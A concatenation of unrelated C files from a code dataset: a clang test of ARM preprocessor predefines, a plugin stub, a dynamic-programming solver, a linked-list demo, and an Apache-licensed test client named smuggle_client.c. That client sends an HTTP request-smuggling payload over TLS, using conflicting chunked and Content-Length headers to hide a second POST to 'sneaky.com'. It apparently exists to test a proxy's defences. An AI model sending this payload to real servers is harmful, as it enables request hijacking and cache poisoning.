// RUN: %clang -target armv7-eabi -mcpu=cortex-r7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-r7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mcpu=cortex-r8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-r8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8-ALLOW-FP-INSTR %s
// R7-R8-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// R7-R8-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// R7-R8-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting cortex-m0.
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m0 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M0-THUMB %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m0plus -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M0-THUMB %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m1 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M0-THUMB %s
// RUN: %clang -target armv7 -mthumb -mcpu=sc000 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M0-THUMB %s
// M0-THUMB-NOT:#define __ARM_ARCH_EXT_IDIV__
// M0-THUMB-NOT:#define __ARM_FEATURE_DSP
// M0-THUMB-NOT:#define __ARM_FP 0x{{.*}}
// Test whether predefines are as expected when targeting cortex-m3.
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m3 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M3-THUMB %s
// RUN: %clang -target armv7 -mthumb -mcpu=sc300 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M3-THUMB %s
// M3-THUMB:#define __ARM_ARCH_EXT_IDIV__ 1
// M3-THUMB-NOT:#define __ARM_FEATURE_DSP
// M3-THUMB-NOT:#define __ARM_FP 0x{{.*}}
// Test whether predefines are as expected when targeting cortex-m4 (soft FP ABI as default).
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M4-THUMB %s
// M4-THUMB:#define __ARM_ARCH_EXT_IDIV__ 1
// M4-THUMB:#define __ARM_FEATURE_DSP 1
// M4-THUMB-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-m4 (softfp ABI as default).
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M4-THUMB-ALLOW-FP-INSTR %s
// M4-THUMB-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// M4-THUMB-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// M4-THUMB-ALLOW-FP-INSTR:#define __ARM_FP 0x6
// Test whether predefines are as expected when targeting cortex-m7 (soft FP ABI as default).
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-m7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M7-THUMB %s
// M7-THUMB:#define __ARM_ARCH_EXT_IDIV__ 1
// M7-THUMB:#define __ARM_FEATURE_DSP 1
// M7-THUMB-NOT:#define __ARM_FP 0x
// M7-THUMB-NOT:#define __ARM_FPV5__
// Test whether predefines are as expected when targeting cortex-m7 (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-m7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M7-THUMB-ALLOW-FP-INSTR %s
// M7-THUMB-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// M7-THUMB-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// M7-THUMB-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// M7-THUMB-ALLOW-FP-INSTR:#define __ARM_FPV5__ 1
// Check that -mcmse (security extension) option works correctly for v8-M targets
// RUN: %clang -target armv8m.base-none-linux-gnu -mcmse -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_CMSE %s
// RUN: %clang -target armv8m.main-none-linux-gnu -mcmse -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_CMSE %s
// RUN: %clang -target arm-none-linux-gnu -mcpu=cortex-m33 -mcmse -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_CMSE %s
// RUN: %clang -target arm -mcpu=cortex-m23 -mcmse -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_CMSE %s
// V8M_CMSE-NOT: __ARM_FEATURE_CMSE 1
// V8M_CMSE: #define __ARM_FEATURE_CMSE 3
// Check that CMSE is not defined on architectures w/o support for security extension
// RUN: %clang -target arm-arm-none-gnueabi -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOTV8M_CMSE %s
// RUN: %clang -target armv8a-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOTV8M_CMSE %s
// RUN: %clang -target armv8.1a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOTV8M_CMSE %s
// NOTV8M_CMSE-NOT: __ARM_FEATURE_CMSE
// Check that -mcmse option gives error on non v8-M targets
// RUN: not %clang -target arm-arm-none-eabi -mthumb -mcmse -mcpu=cortex-m7 -x c -E -dM %s -o - 2>&1 | FileCheck -match-full-lines --check-prefix=NOTV8MCMSE_OPT %s
// NOTV8MCMSE_OPT: error: -mcmse is not supported for cortex-m7
// Test whether predefines are as expected when targeting v8m cores
// RUN: %clang -target arm -mcpu=cortex-m23 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M23 %s
// M23: #define __ARM_ARCH 8
// M23: #define __ARM_ARCH_8M_BASE__ 1
// M23: #define __ARM_ARCH_EXT_IDIV__ 1
// M23-NOT: __ARM_ARCH_ISA_ARM
// M23: #define __ARM_ARCH_ISA_THUMB 1
// M23: #define __ARM_ARCH_PROFILE 'M'
// M23-NOT: __ARM_FEATURE_CRC32
// M23-NOT: __ARM_FEATURE_DSP
// M23-NOT: __ARM_FP 0x{{.*}}
// M23-NOT: __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1
// Test whether predefines are as expected when targeting m33 (soft FP ABI as default).
// RUN: %clang -target arm -mcpu=cortex-m33 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M33 %s
// M33: #define __ARM_ARCH 8
// M33: #define __ARM_ARCH_8M_MAIN__ 1
// M33: #define __ARM_ARCH_EXT_IDIV__ 1
// M33-NOT: __ARM_ARCH_ISA_ARM
// M33: #define __ARM_ARCH_ISA_THUMB 2
// M33: #define __ARM_ARCH_PROFILE 'M'
// M33-NOT: __ARM_FEATURE_CRC32
// M33: #define __ARM_FEATURE_DSP 1
// M33-NOT: #define __ARM_FP 0x
// M33: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// Test whether predefines are as expected when targeting m33 (softfp FP ABI as default).
// RUN: %clang -target arm-eabi -mcpu=cortex-m33 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=M33-ALLOW-FP-INSTR %s
// M33-ALLOW-FP-INSTR: #define __ARM_ARCH 8
// M33-ALLOW-FP-INSTR: #define __ARM_ARCH_8M_MAIN__ 1
// M33-ALLOW-FP-INSTR: #define __ARM_ARCH_EXT_IDIV__ 1
// M33-ALLOW-FP-INSTR-NOT: __ARM_ARCH_ISA_ARM
// M33-ALLOW-FP-INSTR: #define __ARM_ARCH_ISA_THUMB 2
// M33-ALLOW-FP-INSTR: #define __ARM_ARCH_PROFILE 'M'
// M33-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_CRC32
// M33-ALLOW-FP-INSTR: #define __ARM_FEATURE_DSP 1
// M33-ALLOW-FP-INSTR: #define __ARM_FP 0x6
// M33-ALLOW-FP-INSTR: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// Test whether predefines are as expected when targeting krait (soft FP as default).
// RUN: %clang -target armv7 -mcpu=krait -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=KRAIT %s
// RUN: %clang -target armv7 -mthumb -mcpu=krait -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=KRAIT %s
// KRAIT:#define __ARM_ARCH_EXT_IDIV__ 1
// KRAIT:#define __ARM_FEATURE_DSP 1
// KRAIT-NOT:#define __ARM_VFPV4__
// Test whether predefines are as expected when targeting krait (softfp FP as default).
// RUN: %clang -target armv7-eabi -mcpu=krait -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=KRAIT-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=krait -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=KRAIT-ALLOW-FP-INSTR %s
// KRAIT-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// KRAIT-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// KRAIT-ALLOW-FP-INSTR:#define __ARM_VFPV4__ 1
// RUN: %clang -target arm-arm-none-eabi -march=armv8.1-m.main -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V81M %s
// CHECK-V81M: #define __ARM_ARCH 8
// CHECK-V81M: #define __ARM_ARCH_8_1M_MAIN__ 1
// CHECK-V81M: #define __ARM_ARCH_ISA_THUMB 2
// CHECK-V81M: #define __ARM_ARCH_PROFILE 'M'
// CHECK-V81M-NOT: #define __ARM_FEATURE_DSP
// CHECK-V81M-NOT: #define __ARM_FEATURE_MVE
// CHECK-V81M-NOT: #define __ARM_FEATURE_SIMD32
// RUN: %clang -target arm-arm-none-eabi -march=armv8.1-m.main+mve -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V81M-MVE %s
// CHECK-V81M-MVE: #define __ARM_FEATURE_DSP 1
// CHECK-V81M-MVE: #define __ARM_FEATURE_MVE 1
// CHECK-V81M-MVE: #define __ARM_FEATURE_SIMD32 1
// RUN: %clang -target arm-arm-none-eabi -march=armv8.1-m.main+mve.fp -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V81M-MVE-FP %s
// CHECK-V81M-MVE-FP: #define __ARM_FEATURE_DSP 1
// CHECK-V81M-MVE-FP: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC 1
// CHECK-V81M-MVE-FP: #define __ARM_FEATURE_MVE 3
// CHECK-V81M-MVE-FP: #define __ARM_FEATURE_SIMD32 1
// CHECK-V81M-MVE-FP: #define __ARM_FPV5__ 1
// RUN: %clang -target armv8.1a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V81A %s
// CHECK-V81A: #define __ARM_ARCH 8
// CHECK-V81A: #define __ARM_ARCH_8_1A__ 1
// CHECK-V81A: #define __ARM_ARCH_PROFILE 'A'
// CHECK-V81A: #define __ARM_FEATURE_QRDMX 1
// CHECK-V81A: #define __ARM_FP 0xe
// RUN: %clang -target armv8.2a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V82A %s
// CHECK-V82A: #define __ARM_ARCH 8
// CHECK-V82A: #define __ARM_ARCH_8_2A__ 1
// CHECK-V82A: #define __ARM_ARCH_PROFILE 'A'
// CHECK-V82A: #define __ARM_FEATURE_QRDMX 1
// CHECK-V82A: #define __ARM_FP 0xe
// RUN: %clang -target armv8.3a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V83A %s
// CHECK-V83A: #define __ARM_ARCH 8
// CHECK-V83A: #define __ARM_ARCH_8_3A__ 1
// CHECK-V83A: #define __ARM_ARCH_PROFILE 'A'
// RUN: %clang -target armv8.4a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V84A %s
// CHECK-V84A: #define __ARM_ARCH 8
// CHECK-V84A: #define __ARM_ARCH_8_4A__ 1
// CHECK-V84A: #define __ARM_ARCH_PROFILE 'A'
// RUN: %clang -target armv8.5a-none-none-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V85A %s
// CHECK-V85A: #define __ARM_ARCH 8
// CHECK-V85A: #define __ARM_ARCH_8_5A__ 1
// CHECK-V85A: #define __ARM_ARCH_PROFILE 'A'
// RUN: %clang -target arm-none-none-eabi -march=armv7-m -mfpu=softvfp -x c -E -dM %s -o - | FileCheck --check-prefix=CHECK-SOFTVFP %s
// CHECK-SOFTVFP-NOT: #define __ARM_FP 0x
|
the_stack_data/380328.c | /** @file
smuggle_client.c
@section license License
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <openssl/ssl.h>
#include <fcntl.h>
#include <netinet/tcp.h>
const char *req_and_post_buf =
"GET / HTTP/1.1\r\nConnection: close\r\nHost: foo.com\r\nTransfer-Encoding: chunked\r\nContent-Length: 301\r\n\r\n0\r\n\r\nPOST "
"http://sneaky.com/ HTTP/1.1\r\nContent-Length: 10\r\nConnection: close\r\nX-Foo: Z\r\n\r\n1234567890";
/**
* Connect to a server.
* Handshake
* Exit immediatesly
*/
int
main(int argc, char *argv[])
{
struct addrinfo hints;
struct addrinfo *result, *rp;
int sfd, s, j;
size_t len;
ssize_t nread;
if (argc < 3) {
fprintf(stderr, "Usage: %s <target addr> <target_port>\n", argv[0]);
exit(1);
}
const char *target = argv[1];
const char *target_port = argv[2];
/* Obtain address(es) matching host/port */
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */
hints.ai_socktype = SOCK_STREAM; /* Datagram socket */
hints.ai_flags = 0;
hints.ai_protocol = 0; /* Any protocol */
s = getaddrinfo(target, target_port, &hints, &result);
if (s != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}
/* getaddrinfo() returns a list of address structures.
* Try each address until we successfully connect(2).
* socket(2) (or connect(2)) fails, we (close the socket
and) try the next address. */
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1)
continue;
if (connect(sfd, rp->ai_addr, rp->ai_addrlen) != -1)
break; /* Success */
close(sfd);
}
if (rp == NULL) { /* No address succeeded */
fprintf(stderr, "Could not connect\n");
exit(EXIT_FAILURE);
}
SSL_CTX *client_ctx = SSL_CTX_new(TLS_method());
SSL *ssl = SSL_new(client_ctx);
SSL_set_fd(ssl, sfd);
int ret = SSL_connect(ssl);
int read_count = 0;
int write_count = 1;
printf("Send request\n");
if ((ret = SSL_write(ssl, req_and_post_buf, strlen(req_and_post_buf))) <= 0) {
int error = SSL_get_error(ssl, ret);
printf("SSL_write failed %d", error);
exit(1);
}
int read_bytes;
do {
char input_buf[1024];
read_bytes = SSL_read(ssl, input_buf, sizeof(input_buf) - 1);
if (read_bytes > 0) {
input_buf[read_bytes] = '\0';
printf("Received %d bytes %s\n", read_bytes, input_buf);
}
} while (read_bytes > 0);
close(sfd);
exit(0);
}
|
the_stack_data/184518388.c | #include <stdio.h>
__attribute__((constructor))
static void init(int argc, char **argv, char **envp)
{
puts("Loading C plugin!");
}
__attribute__((destructor))
static void fini(void)
{
puts("Unloading C plugin!");
}
const char* run_probe()
{
return "Hello C plugin!";
}
|
the_stack_data/1198665.c | #include <stdio.h>
#include <string.h>
#include <limits.h>
struct {
char buf[60];
int mem[60][60];
} S;
int min(int a, int b)
{
return a < b ? a : b;
}
/* [l, r) */
int dfs(int l, int r)
{
int m;
int ans = INT_MAX;
if (S.mem[l][r]) {
return S.mem[l][r];
} else if (r - l == 1) {
ans = 1;
} else if (S.buf[l] == S.buf[r - 1]) {
ans = min(dfs(l + 1, r), dfs(l, r - 1));
} else {
for (m = l + 1; m < r; ++m)
ans = min(ans, dfs(l, m) + dfs(m, r));
}
return S.mem[l][r] = ans;
}
int main_(void)
{
char *target = S.buf;
int len = strlen(target);
printf("%d\n", dfs(0, len));
return 0;
}
int start_(void)
{
memset(S.mem, 0, sizeof(S.mem));
return main_();
}
int main(void)
{
#ifdef DEBUG
freopen("in", "r", stdin);
#endif
while (scanf("%s", S.buf) != EOF)
start_();
#ifdef DEBUG
fclose(stdin);
#endif
return 0;
}
|
the_stack_data/29205.c | #include <stdio.h>
#include <stdlib.h>
typedef struct node{
int data;
struct node *next;
} node;
void print_list(node *head);
void insert(node **head, int item);
void delete(node **head, int item);
int main(int argc, char *argv[]){
node *head = NULL;
insert(&head, 5);
insert(&head, 6);
insert(&head, 7);
insert(&head, 8);
print_list(head);
delete(&head, 5);
print_list(head);
return 0;
}
void print_list(node *head){
printf("---List start---\n");
while(head != NULL){
printf("Value : %i\n", (head)->data);
head = (head)->next;
}
printf("---List end---\n");
}
void insert(node **head, int item){
if(*head == NULL){
*head = (node *)malloc(sizeof(node));
(*head)->data = item;
(*head)->next = NULL;
}else{
node *current = *head;
node *new_node = (node *)malloc(sizeof(node));
new_node->data = item;
new_node->next = NULL;
while(current->next != NULL){
current = current->next;
}
current->next = new_node;
}
}
void delete(node **head, int item){
node *current = *head;
if(current->data == item){
*head = (*head)->next;
free(current);
}else{
while(current->next->data != item){
current = current->next;
}
node *temp = current->next;
current->next = temp->next;
free(temp);
}
}
|
Subsets and Splits